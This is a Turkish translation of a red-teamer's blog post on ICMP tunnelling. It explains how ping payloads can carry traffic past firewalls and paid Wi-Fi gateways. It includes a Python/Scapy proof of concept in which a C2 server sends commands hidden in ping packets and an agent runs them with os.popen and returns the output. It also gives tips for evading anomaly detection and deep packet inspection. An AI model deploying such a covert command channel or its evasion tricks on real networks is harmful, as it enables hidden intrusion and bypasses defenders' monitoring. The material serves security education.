Ping’in Gücü — ICMP Tüneli

Bir saldırgan, yapacağı faaliyetlerde bir takım zorluklarla yüzleşir.
Bu zorluklardan ikisi şu şekildedir:

  1. Ağ engellerini aşmak(ağ politikaları, bölümlendirme vb.)
  2. “Gizli modda” farklı işlemler yapın, böylece yakalanmayacaksınız.

Bu zorluklarla başa çıkmanın yolu ağdaki engelleri aşmak ve gizli bir bağlantı oluşturmak için ICMP Tünelini kullanmaktır.

Bilgisayar ağlarında, tünel oluşturma, genellikle bir ağ protokolünün başka bir ağ protokolünün yükü olarak kapsüllenmesidir. Daha fazlasını okuyun

ICMP(İnternet Kontrol Mesajı Protokolü), İnternet protokol takımındaki destekleyici bir protokoldür.Ağ cihazları tarafından hata mesajları ve operasyonel bilgi göndermek amacıyla kullanılır. En bilinen ve yaygın olarak kullanılan şekli ise Ping mesajıdır.

Ping, ICMP(İnternet Konrol Mesajı Protokolü)’nin bir parçası olarak kullanılan kontrol mesajıdır.

Ping, bir ağdaki cihazdan diğerine gönderilir. Katman 2, katman 3 başlıkları (OSI modelinin MAC ve IP başlıkları) ve özel bir ICMP paketinden oluşturulmuştur.Gönderen cihaz, hedef parametreleri ayarlayacaktır ve mesaj hedef tarafından alındığında geri bildirim gönderecektir.

Bu bir ping paketinin IP datagramıdır.

ICMP Tüneli Oluşturma, gönderilen payload verisi değiştirilerek yapılabilir, böylece göndermek istediğimiz verileri içinde barındıracaktır.

Genellikle, bu ASCII dizesi gibi varsayılan bir payload verisini içerir:
 “abcdefghijklmnopqrstuvwabcdefghi”

Wireshark- ICMP Paketi, yük taşıma verileri

Eğer bir HTTP paketini Payload verisi içine alırsak, bu yöntemin en yaygın yolunu bulacağız, Pay-for-Wifi.

Bu, ping iletilerini bekleyen ve gerektiğinde geri bilgi gönderen bir proxy sunucusu kullanılarak başarılabilir. (Örneğin HTTP olarak).

  1. Doğru araçları kullanarak (ptunnel gibi), Google’a Ping paketiyle göndermek istediğiniz veriyi HTTP paketi içine alın(Payload Verisi İçinde).
    Ardından, proxy sunucusunun IP adresine hedef olarak gönderin.
    * Not: Bu IP, HTTP paketinin hedefi değildir.(HTTP paketinin IP hedefi, www.google.com.tr’nin IP’si olacaktır)
    1. Havaalanları yönlendiricileri genellikle ICMP trafiğinin ağdan çıkmasına izin verdiğinden, yönlendirici Ping iletisini proxy sunucusuna iletir.
    2. Proxy sunucusu Ping paketini alır, 2 bölüme ayırır:
  • ICMP başlıkları
  • Orijinal HTTP mesajını içeren yük
  • Not:Proxy’nin Google’a gönderdiği HTTP paketinin kaynak IP’si proxy sunucusunun IP’si olmalıdır, kendi bilgisayarınızın IP’si değil.

Bu ICMP Tüneli’nin en yaygın kullanımı olabilir, Red Teamer olarak, güvenlik duvarlarından ve diğer ağ politikalarından kaçınmak için “radar altında” bir yöntem olarak oldukça faydalı buluyorum.

Bunların hepsi mümkündür, çünkü ping mesajlarının yönlendiriciyi “Pay-for-WİFİ” LAN’ından İnternete geçmesine izin verilir.
Neden biri bu durumun olmasına izin veriyor?

Eski bir ağ mühendisi olarak, en karmaşık sorunları bile anlamaya ve çözmeye çalışırken ping’in çok fazla gücünün olduğunu söyleyebilirim.
Sorun giderme işlemlerinin çoğu, bilgilerin bir noktadan diğerine geçip geçmediğini test etmekle başlar. Bu bilginin rotası doğru mu? diye sorarsınız. Ağ bileşenleri aktif ve cevap verebilir mi?

Ping mesajları, bur soruları ve diğerlerini en basit şekilde cevaplayabilir.

Bu sorun giderme işlemleri günlük olarak gerçekleşir. Bu, ağ yapılandırmasının ağdaki ping mesajlarının bir noktadan diğerine iletilmesine izin vermesi gerektiği anlamına gelir. Her güvenlik duvarı ilkesi, yönlendirici ilkesi ve ACL’yi Değiştirme(Erişim Listesi), ICMP iletilerinin hemen hemen her ağ bileşeninden diğerine akışına izin vermelidir.
Bu nedenle, ping mesajlarının büyük olasılıkla ağ bölümlendirmesinden ve politikalarından daha az etkilenmesi bekleniyor.

Bana öyle geliyor ki bunu bilmek, segmentasyon ve ağ politikaları gibi engelleri aşmanız gerektiğinde bir ağda bağlantı oluşturmak için kişilerin ICMP Tünelini kullanarak C&C sunucusuna bağlanmasına fayda sağlayabilir.

Nasıl çalıştığını göstermek için python’da basit bir POC yazdım.

Bunu not edin:

  • Bu POC, Scapy’yi yüklemenizi gerektirir.(Öğrenmeniz adına harika bir araç)
  • Bu POC, parçalanma ile uğraşmayı içermeyecektir. Parçalanma, örneğin, kişiden gelen cevap daha büyükse, izin verilen veri taşıma yükü boyutundan büyük olacaktır.
  • Bu POC bir C&C sunucusu ve bir aracı içerecektir. C2 sunucusunun aracı komutlarını bir ICMP Tüneli yoluyla göndereceği ve araç sonuçlarının da tünelden gönderileceği zaman kullanılır.

C2.py

#!/usr/bin/env python3
from scapy.all import *
def main():
while True:
command = raw_input('# Enter command: ')
# build the ICMP packet with the command as the payload
pinger = IP(dst="localhost")/ICMP(id=0x0001, seq=0x1)/command
send(pinger)
# wait for the ICMP message containing the answer from the agent
# to be received
rx = sniff(count=1, timeout=2)
# use this if agent is not on local machine: rx = sniff(filter="icmp", count=1)
print(rx[0][Raw].load.decode('utf-8'))
if __name__ == "__main__":
main()

Agent.py

#!/usr/bin/env python3
import os
from scapy.all import *
def main():
while True:
# wait for the ICMP message containing the command from the C2 server
# to be received
rx = sniff(filter="icmp", count=1)
# strip down the packet to the payload itself
var = rx[0][Raw].load.decode('utf-8')
# run the command and save the result
res = os.popen(var).read()
# build the ICMP packet with the result as the payload
send(IP(dst="localhost")/ICMP(type="echo-reply", id=0x0001, seq=0x1)/res)
if __name__ == "__main__":
main()

Bunu kullanmak ise böyle bir sonuç verecek:

Ve Wireshark’ı kullanarak tam olarak ne olup bittiğini görmek her zaman iyi bir fikirdir.

C2 — pwd komutu
Temsilcinin — pwd sonucu

Gördüğünüz gibi: Biri komut, diğeri sonuç olan 2 ICMP mesajı var.

DPOV (Savunma Açısı)

Savunan bakış açısında bakmak ve bu tür araçları geliştirirken nelere dikkat etmemiz gerektiğini düşünmek önemlidir.

Hatırlanması gereken en önemli şey, siber güvenlik araçlarının güvenlik duvarı beyaz liste politikalarıyla başlamamalı ve bitmemelidir. Günümüzün savunma araçlarının çoğu, bir tür anormallik tespit işlevselliği içerir.

İlk önce ilgili konunun ortak davranışını tanımlayarak bazı ilginç anormallikleri ortaya çıkarmak iyi bir yoldur.

Düzenli bir ağdaki ping mesajları hakkında konuşurken, aşağıdaki özellikleri sıralayabiliriz.

  1. Ping mesajlarının çoğu varsayılan şekline göre gönderilir, bir seferde 4 defa atılır.
  2. Ping mesajının 8 (echo ping isteği) türü ve Ping cevabının 0 (echo ping yanıtı) türü vardır.
  3. Her ping paketiyle birlikte gönderilen bazı alanlar vardır.(Windows 8.1 Kullanılarak):
  • id = 0x0001
  • Tekrarın sırası, isteğin sırasına eşit olacaktır
  • Veri taşıma kapasitesi varsayılan boyutu (32 Byte) ve içerikle kalacaktır.
    - “abcdefghijklmnopqrstuvwabcdefghi”

O zaman yukarıdakilerin hepsini bilerek düşünmelisin:

  1. C&C ve Temsilci’yi, her 1 dakikada bir partide 4'ten fazla ping mesajı olmayacak şekilde oluşturun. Aktarmanız gereken veriler 15 ping mesajı alırsa, iletilmesi 3 dakika sürecektir. Yavaş olabilir, ancak birileri veya bir şey bu anormalliğe bakıyorsa buna değer.
  2. Ping isteği ve yanıtının mantıksal olarak doğru olduğundan emin olun.
    Gönderdiğiniz her ping mesajı, örneğin 0 türünde olacaksa, ping isteği olmadığında çok sayıda ping yanıtı görmek ilginç olurdu.
  3. Etrafınıza olabildiğince benzer olmaya çalışın. Araştırma yapın. Elbette, bu alanları yapılandırılabilir halde tutabilir ve kullandıkça değiştirebilirsiniz.
  4. Veri taşıma kapasitesinin boyutuna ve bunun bir metadata bilgisi olduğuna dikkat edin.
  5. Giden verinin içeriği : DPI hakkında konuşalım…

DPI- Derin Paket Denetimi

Oysa geleneksel paket denetimleri, metadata okumak(özellikle başlıklar) ve derin paket inceleme için gerçek zamanlı olarak geçiyor. Temel olarak, yüke bir bakış atıyor ve doğru görünüp görünmediğini anlamaya çalışıyor.

Bizim durumumuzda protokol anormalliği özelliğini kullanan bir DPI aracı, yüke bakarak ICMP Tüneli’ni keşfedebilir ve olması gerekenden farklı olduğunu görebilir.

Bu durumda, diğer tüm parametreleri değiştirmemize yardımcı olmayacaktır.

Öyleyse, neden ICMP Tünel Oluşturma ile uğraşalım ki?

Çünkü:

  1. DPI önemsiz bir yetenek değildir ve bu yeteneğe sahip olmayan bir çok ağa rastlayabilirsiniz.
  2. Çoğu DPI aracı imza veritabanına dayanır. ICMP iletilerine ilişkin bir imza yoksa ICMP Tüneli’ni algılayamaz.
  3. Veritabanında ilgili bir imza olsa bile, operatör önce aktif modda yapılandırılmalıdır.
  • Neden aktifleştirilmemiş olabilir_
  • Her imza kontrolü işlem kaynaklarını alır(Çoğunlukla CPU ve zamanı), bu nedenle ağı yavaşlatabilir.
  • Ağ kontrolleri, MTU özelliklerini içeren problemleri gidermek için, farklı yük taşıma boyutlarına sahip farklı tipte ping mesajları içerebilir(örneğin, ping -l 1234 8.8.8.8, 1234 [Bayt] büyüklüğünde veri yükü olan bir ping mesajı gönderir). Bu tür bir imzanın etkinleştirilmesi, birçok yanlış/pozitif uyarının artmasına neden olacak ve böylece izleme ekibini rahatsız edecektir. Aynı zamanda imzanın güvenilirliğini azaltacaktır

sum += 1337

ICMP Tüneli oluşturma, “radar altında” iletişim kurmak için mükemmel bir araçtır. Daha az etkili olacağı zamanlar olsa da, ağdaki mevcut savunmaya bağlı olarak belirli sınırlamaları aşmada basit ve kullanışlı bir yol olduğunu göreceksiniz.

En önemlisi, bilmeye değer bir kavram. Üzerinde birkaç numara yaparsanız, DNS Tüneli, SSH Tüneli ve benzeri gibi ihtiyaç duyduğunuz kadar farklı çözümler geliştirebilirsiniz.

Bu yazı Nir Chako’dan izin alınarak çevrilmiştir. Asıl metin için: https://medium.com/bugbountywriteup/ping-power-icmp-tunnel-31e2abb2aaea